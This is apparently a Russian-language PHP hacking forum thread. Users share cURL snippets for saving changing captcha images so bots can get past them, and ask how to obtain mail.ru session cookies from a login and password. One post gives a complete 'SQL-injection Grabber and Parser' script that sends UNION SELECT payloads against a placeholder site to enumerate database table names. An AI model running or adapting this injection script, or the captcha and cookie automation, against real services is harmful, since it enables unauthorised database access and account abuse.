почему это нельзя, еще как можно! например что то вроди PHP: <? exec('cat /proc/cpuinfo',$info); $system_key=md5(serialize($info)); echo $system_key; ?> шпуняешь все это в зенд и радуешься привязке к железу)
ищу скрипт php сколько раз скачали программу через линк пример Скачать Скачали раз(а): 6575 надо срочна скрипт с меня +++
Для этого нужно знать структуру твоего линка, знать какие данные он передаёт, хранятся ли у тебя скажем в mysql данные о файлах. Я бы скажем передал на php скрипт ID файла, который бум скачивать, потом какая нибудь функция типа readfile(); Ну а потом просто SQL запрос UPDATE значения счетчика. Это принцип, если надо, могу написать скрипт
Как сохранить капчу, которая постоянно меняется ? Пример: site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи) Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
Из кэша браузера, разве что, либо попробовать врубить автономный режим и сохранить изображение каптчи.
я тебе ж уже давал скрипт - пример работы с капчей! PHP: function post ($url='',$content=null,$referer=null,$follow=0 ) { GLOBAL $cookie; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $follow); if (!empty($cookie)) curl_setopt($ch, CURLOPT_COOKIE, implode('; ',array_values($cookie))); if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);} if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer); $ss=curl_exec($ch); curl_close($ch); if (preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook)) { if ($tmpcookie=array_combine($cook[2],$cook[1])) $cookie=(array)$tmpcookie + (array)$cookie; } return preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1); } PHP: unset($_SESSION['mir']); // Получаем начальные куки $in = post('http://site.ru/login'); preg_match('#<img src="http://site.ru/captcha/login?(.*?)"#i', $in, $match_capt); // Делаем локальную копию куки file_put_contents('local.jpg',post('http://site.ru/captcha/login?'.$match_capt[1],null,'http://site.ru/login')); (c) Чей-то
доработка к моему graber'y, добавил туда парсер. PHP: <?php echo"----------------------------------\n"; echo"|SQL-injection Grabber and Parser|\n"; echo"| Povered by lucky_guy! |\n"; echo"----------------------------------\n"; $fop=fopen("temp.txt","a"); for($i=1;$i<100;$i++){ $url=fopen("http://bla-bla.com/index.php?id=1'+union+all+select+1,concat(char(94),table_name,char(94))+from+information_schema.tables+limit+$i,1/*","r"); while(!feof($url)){ $buf=fgets($url, 128);{ fwrite($fop,$buf); }}} fclose($url); fclose($fop); $fop1=fopen("result.txt","w"); $fop=fopen("temp.txt","r"); if($fop){ $size=filesize("temp.txt"); $fr=fread($fop,$size);} preg_match_all("/\^(.*)\^/isU",$fr,$fou,PREG_PATTERN_ORDER); for($i=0;$i<count($fou[1]);$i++){ echo $fou[1][$i]."\n"; fwrite($fop1,$fou[1][$i]."\r\n");} fclose($fop); fclose($fop1); system("del temp.txt"); echo"----------------------------------\n"; echo"| DONE! |\n"; echo"----------------------------------\n"; ?>
Подскажите пожалуйста, как бы мне на php реализовать такую задачку: у меня есть логин и пароль от mail.ru, мне надо сделать из них куки, которые я потом передаю другому скрипту и он мне что-нить делает=) я пробовал так: PHP: <?php $ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2'; $ref = 'http://win.mail.ru/cgi-bin/auth'; $post = 'Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=0'; $ch = curl_init($ref); $cfile = 'F:\xampp\htdocs\MailRuCookies\cookies.txt'; curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $res = curl_exec($ch); curl_close($ch); $res = iconv('UTF-8','windows-1251',$res); echo $res; ?> Но в файле cookies.txt у меня появились только значения t,Mpop,mrcu... Я скорее всего делаю вообще не то что надо делать,но чёто в книжках умных по этому поводу ничего не нашёл.
PHP: function post($url,$post,$refer) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } Почему у меня не работаю куки на последнем Denwer'e, а на хостинге всё прекрасно работает ? куки.txt тоже пробовал ставить не помогает
На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там) Сообщение сайт выдал..?! Может где-то не поменял в скрипте..? Везде должны стоять $_SERVER['DOCUMENT_ROOT'].'/cookie.txt' вместо "./cook"
PHP: ... curl_setopt($ch, CURLOPT_HEADER, 1); $res=curl_exec($ch); preg_match_all('#Set-Cookie: (.*); expires#i', $res, $matches); print_r($matches); ...
Приписал код от mailbrush мне вывелись значения только t и Mpop. Но если я захожу на мыло и в юрле прописываю javascript:alert(document.cookie); то там ещё и значения mrcu; p; c240; c56; c8; Mpopl. Подскажите как мне их получить с помощью POST запроса или может можно как-то иначе...
Попробуй заменить регулярку на такую: PHP: preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$res, $matches); А вообще, вполне вероятно, что все эти значения cookies устанавливаются именно JavaScript'ом, а не сервером отсылаются, поэтому ты их так просто не получишь.